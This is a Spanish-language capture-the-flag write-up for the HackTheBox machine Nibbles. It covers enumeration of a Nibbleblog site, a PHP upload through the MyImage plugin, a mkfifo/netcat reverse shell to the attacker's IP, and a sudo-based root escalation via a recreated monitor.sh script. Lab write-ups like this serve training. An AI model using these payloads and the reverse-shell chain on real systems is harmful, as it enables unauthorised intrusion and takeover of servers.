beafn28
  • 👩‍💻¡Bienvenidos a mi HackBook!
  • WRITEUPS
    • DockerLabs
      • BuscaLove
      • Amor
      • Injection
      • BorazuwarahCTF
      • Trust
      • Picadilly
      • Pinguinazo
      • AguaDeMayo
      • BreakMySSH
      • NodeClimb
      • Move
      • Los 40 ladrones
      • Vulnvault
      • Pntopntobarra
      • Library
      • Escolares
      • ConsoleLog
      • Vacaciones
      • Obsession
      • FirstHacking
      • SecretJenkins
      • HedgeHog
      • AnonymousPingu
      • ChocolateLovers
      • Dockerlabs
      • Pressenter
      • Candy
      • JenkHack
      • ShowTime
      • Upload
      • Verdejo
      • WalkingCMS
      • WhereIsMyWebShell
      • Whoiam
      • Winterfell
      • -Pn
      • Psycho
      • Mirame
      • Backend
      • Paradise
      • Balurero
      • Allien
      • Vendetta
      • FindYourStyle
      • Stellarjwt
      • File
      • Redirection (Por completar)
      • Extraviado
      • Patriaquerida
      • Tproot
      • Internship
      • Walking Dead
      • Bicho (Por completar)
      • BaluFood
    • TryHackMe
      • Brooklyn Nine Nine
      • Blue
    • HackTheBox
      • Nibbles
      • Starting Point
        • Meow
        • Fawn
        • Dancing
        • Redeemer
        • Appointment
        • Sequel
        • Crocodile
        • Responder
        • Three
        • Archetype
        • Oopsie
        • Vaccine
        • Unified
        • Explosion
        • Preignition
        • Mongod
        • Synced
        • Ignition
        • Bike
        • Funnel
        • Pennyworth
        • Tactics
        • Included
        • Markup
        • Base
      • BoardLight
      • Cap
      • TwoMillion
      • Lame
      • Legacy
      • Devel
      • Beep
      • Optimum
      • Arctic
      • Jerry
      • Sau
      • GoodGames
      • Challenges
        • Emdee five for life
        • MarketDump
      • Intro to Dante
      • Heist
      • OpenAdmin
      • Nest
      • Curling
    • Vulnhub
      • Wakanda
      • Election (Por terminar)
    • The Hacker Labs
      • Avengers
      • Can you hack me?
      • Fruits
      • Microchoft
      • TickTakRoot
      • Grillo
      • Mortadela
      • Zapas Guapas
      • Sal y Azúcar
      • Cyberpunk
      • Papafrita
      • PizzaHot
      • Decryptor
      • Academy
      • Cocido andaluz
      • Find Me
      • Quokka
      • Campana Feliz
      • Bocata de Calamares
      • Casa Paco
      • Torrijas
    • Vulnyx
      • Fuser
      • Blogguer
      • Lower
      • Exec
      • Diff3r3ntS3c
      • Hacking Station
      • Experience
      • Eternal
      • Agent
      • Infected
      • Admin
      • War
      • Hosting
    • OverTheWire
      • Natas
        • Nivel 0-5
        • Nivel 6-11
        • Nivel 12-17
        • Nivel 18-23
        • Nivel 24-29
        • Nivel 30-34
      • Leviathan
        • Nivel 0-7
      • Krypton
      • Bandit
        • Nivel 0-10
        • Nivel 11-20
        • Nivel 21-30
        • Nivel 31-34
    • Proving Ground Play
      • Monitoring
      • DriftingBlues6
  • APUNTES HACKING
    • Pentesting Basics
      • Web Enumeration
      • Public Exploits
      • Types of Shells
      • Privilege Escalation
      • Transfering Files
    • Network Enumeration with NMAP
      • Host Discovery
      • Host and Port Scanning
      • Saving the Results
      • Service Enumeration
      • Nmap Scripting Engine
      • Performance
      • Firewall and IDS/IPS Evasion
    • Footprinting
      • Domain Information
      • Cloud Resources
      • FTP
      • SMB
      • NFS
      • DNS
      • SMTP
      • IMAP/POP3
      • SNMP
      • MySQL
      • MSSQL
      • Oracle TNS
      • IPMI
      • Linux Remote Management Protocols
      • Windows Remote Management Protocols
    • Information Gathering - Web Edition
      • WHOIS
      • DNS
        • Digging DNS
      • Subdomains
        • Subdomain Bruteforcing
        • DNS Zone Transfers
        • Virtual Hosts
        • Certificate Transparency Logs
      • Fingerprinting
      • Crawling
        • robots.txt
        • Well-Known URIs
        • Creepy Crawlies
      • Search Engine Discovery
      • Web Archives
      • Automating Recon
    • Vulnerability Assessment
      • Vulnerability Assessment
      • Assessment Standards
      • Common Vulnerability Scoring System (CVSS)
      • Common Vulnerabilities and Exposures (CVE)
    • Nessus
      • Getting Started with Nessus
      • Nessus Scan
      • Advanced Settings
      • Working with Nessus Scan Output
      • Scanning Issues
    • OpenVAS
      • OpenVAS Scan
      • Exporting The Results
    • Reporting
    • File Transfers
      • Windows File Transfer Methods
      • Linux File Transfer Methods
      • Transferring Files with Code
      • Miscellaneous File Transfer Methods
      • Protected File Transfers
      • Catching Files over HTTP/S
      • Living off The Land
      • Detection
      • Evading Detection
    • Shells & Payloads
      • Anatomy of a Shell
      • Bind Shells
      • Reverse Shells
      • Payloads
        • Automating Payloads & Delivery with Metasploit
        • Crafting Payloads with MSFvenom
        • Infiltrating Windows
        • Infiltrating Unix/Linux
        • Spawning Interactive Shells
      • Introduction to Web Shells
        • Laudanum, One Webshell to Rule Them All
        • Antak Webshell
        • PHP Web Shells
      • Detection & Prevention
    • Metasploit
      • MSFConsole
      • Modules
      • Targets
      • Payloads
      • Encoders
      • Databases
      • Plugins
      • Sessions
      • Meterpreter
      • Writing and Importing Modules
      • Introduction to MSFVenom
      • Firewall and IDS/IPS Evasion
    • Password Attacks
      • John The Ripper
      • Network Services
      • Password Mutations
      • Password Reuse / Default Passwords
      • Attacking SAM
      • Attacking LSASS
      • Attacking Active Directory & NTDS.dit
      • Credential Hunting in Windows
      • Credential Hunting in Linux
      • Passwd, Shadow & Opasswd
      • Pass the Hash (PtH)
  • WEB SECURITY
    • Path Traversal
    • SQL Injection
    • Control de Acceso
  • Mis CTFs
    • Pequeñas Mentirosas
    • CryptoLabyrinth
    • Elevator
    • Facultad
  • PREPARAR EJPTv2
    • Máquinas
    • Curso de Mario
      • Presentación + Preparación de Laboratorios
      • Conceptos Básicos de Hacking
      • Explotación de Vulnerabilidades y Ataques de Fuerza Bruta
      • Explotación vulnerabilidades Web
      • Enumeración y Explotación del Protócolo SMB, SAMBA, SNMP, IIS y RDP
      • Hacking Entornos CMS
      • Escalada de Privilegios + Post Explotación
      • Pivoting con Metasploit
  • Preparar OSCP
    • Información
    • Máquinas
      • Linux
        • Fácil
        • Medio
        • Difícil
      • Windows
        • Fácil
        • Medio
        • Difícil
Powered by GitBook
On this page
  • 🔍 RECONOCIMIENTO
  • 🔎 EXPLORACIÓN
  • 🚀 EXPLOTACIÓN
  • 🔐 PRIVILEGIOS

Was this helpful?

  1. WRITEUPS
  2. HackTheBox

Nibbles

✍️ Autor: Hack The Box🔍 Dificultad: Fácil 📅 Fecha de creación: 13/01/2018

PreviousHackTheBoxNextStarting Point

Last updated 8 months ago

Was this helpful?

🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

ping -c 1 10.129.12.162

para verificar la conectividad de red.

A continuación, realizamos el comando:

nmap -sV --script=http-enum -oA nibbles_nmap_http_enum 10.129.12.162 

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

Como podemos observar durante el escaneo que el puerto 22 perteneciente al servicio SSH y el puerto 80 perteneciente al servicio HTTP están abiertos por lo que a continuación se indagará más.

🔎 EXPLORACIÓN

Se utiliza el comando:

sudo nmap -sCV -p22,80 -v 10.129.12.162

para que nos proporcione más información sobre esos puertos específicamente.

Revisamos el código por si hay alguna información relevante.

Nos muestra un directorio por lo que indagaremos ahí.

Ahora buscaremos directorios con la herramienta Gobuster a través de:

gobuster dir -u http://10.129.12.162/nibbleblog/ --wordlist /usr/share/dirb/wordlists/common.txt

Hay dos archivos interesantes como admin.php y README.

curl http://10.129.12.162/nibbleblog/README

Hemos confirmado que la versión 4.0.3 está en uso, lo que sugiere que es probable que sea vulnerable al módulo de Metasploit (aunque podría tratarse de una página antigua del README). No observamos nada más relevante. Ahora, revisemos la página de inicio de sesión del portal de administración.

Para usar el exploit mencionado, necesitaremos credenciales de administrador válidas. Probamos técnicas de omisión de autenticación y combinaciones comunes como admin y admin, sin éxito. Hay una opción para restablecer la contraseña, pero da un error de correo. Además, demasiados intentos rápidos activan un bloqueo con el mensaje "Nibbleblog security error - Blacklist protection".

Volvamos a nuestros resultados de fuerza bruta en el directorio. Los códigos 200 muestran páginas accesibles, los 403 indican acceso prohibido y el 301 es una redirección permanente. Navegamos a nibbleblog/themes/ y vemos que el listado de directorios está habilitado.

Al navegar a nibbleblog/content, encontramos subdirectorios interesantes: public, private y tmp. Explorando un poco, encontramos un archivo users.xml que confirma que el nombre de usuario es admin. También muestra direcciones IP en la lista negra. Podemos solicitar este archivo con cURL y formatear la salida XML usando xmllint.

Confirmamos que admin es el usuario.

No hay otros puertos abiertos y no encontramos más directorios. Podemos confirmarlo realizando fuerza bruta adicional en directorios contra la raíz de la aplicación web.

gobuster dir -u http://10.129.12.162/ --wordlist /usr/share/dirb/wordlists/common.txt

Al revisar nuevamente todos los directorios expuestos, encontramos un archivo config.xml.

curl -s http://10.129.12.162/nibbleblog/content/private/config.xml | xmllint --format -

Al revisar el archivo, esperamos encontrar contraseñas, pero no obtenemos resultados. Sin embargo, vemos dos menciones de "nibbles" en el título del sitio y en la dirección de correo de notificación. Este también es el nombre de la máquina.

Al realizar cracking de contraseñas offline con una herramienta como Hashcat o al intentar adivinar una contraseña, es importante considerar toda la información disponible. No es raro descifrar una contraseña (como la de la red inalámbrica de una empresa) usando una lista de palabras generada al rastrear su sitio web con una herramienta como CeWL.

cewl http://10.129.12.162/nibbleblog -w wordlist.txt

🚀 EXPLOTACIÓN

Intentemos usar el plugin MyImage para cargar un fragmento de código PHP en lugar de una imagen. El siguiente fragmento se puede usar para probar la ejecución de código.

<?php system('id'); ?>

Ahora tenemos que averiguar dónde se subió el archivo si la carga fue exitosa. Volviendo a los resultados de fuerza bruta en los directorios, recordamos el directorio /content. Dentro de este, hay un directorio plugins y otro subdirectorio llamado my_image. La ruta completa es http://<host>/nibbleblog/content/private/plugins/my_image/. En este directorio, vemos dos archivos, db.xml e image.php, con una fecha de última modificación reciente, ¡lo que significa que nuestra carga fue exitosa! Ahora vamos a verificar si tenemos ejecución de comandos.

curl http://10.129.12.162/nibbleblog/content/private/plugins/my_image/image.php

Parece que hemos obtenido ejecución remota de código en el servidor web, y el servidor Apache se está ejecutando en el contexto del usuario nibbler. Vamos a modificar nuestro archivo PHP para obtener una shell inversa y comenzar a explorar el servidor.

Utilicemos el siguiente one-liner de Bash para la shell inversa y añádelo a nuestro script PHP.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKING IP> <LISTENING PORT) >/tmp/f
<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.47 443 >/tmp/f"); ?>
nc -lvnp 443

Pinchamos en el fichero image.php.

Tenemos Python3, lo cual nos permite obtener una shell más amigable escribiendo python3 -c 'import pty; pty.spawn("/bin/bash")'. Al navegar a /home/nibbler, encontramos la bandera user.txt así como un archivo zip llamado personal.zip.

🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

whoami

aún no somos root, por lo que hacemos:

sudo -l

para ver si hay algo para explotar.

Si accedemos a esa ruta, veremos que no existe. Por lo tanto, necesitaremos crear el directorio y el archivo:

cd /home/nibbler
mkdir -p personal/stuff
cd personal/stuff
echo "/bin/bash" > monitor.sh
chmod +x monitor.sh
sudo ./monitor.sh

Con estos pasos, obtendremos acceso root. Luego, al ir a /root/root.txt, podremos ver la bandera ROOT.

Seguimos indagando más sobre los puertos y ahora indagamos sobre el servicio HTTP. Se ingresó la dirección IP en el navegador lo que llevó a que la página web nos salga un mensaje.

Vamos a editar nuestro archivo PHP local y subirlo nuevamente. Este comando debería proporcionarnos una shell inversa. Como se mencionó anteriormente en el Módulo, existen muchas hojas de trucos para shells inversas. Algunas muy buenas son entre otras.

PayloadAllTheThings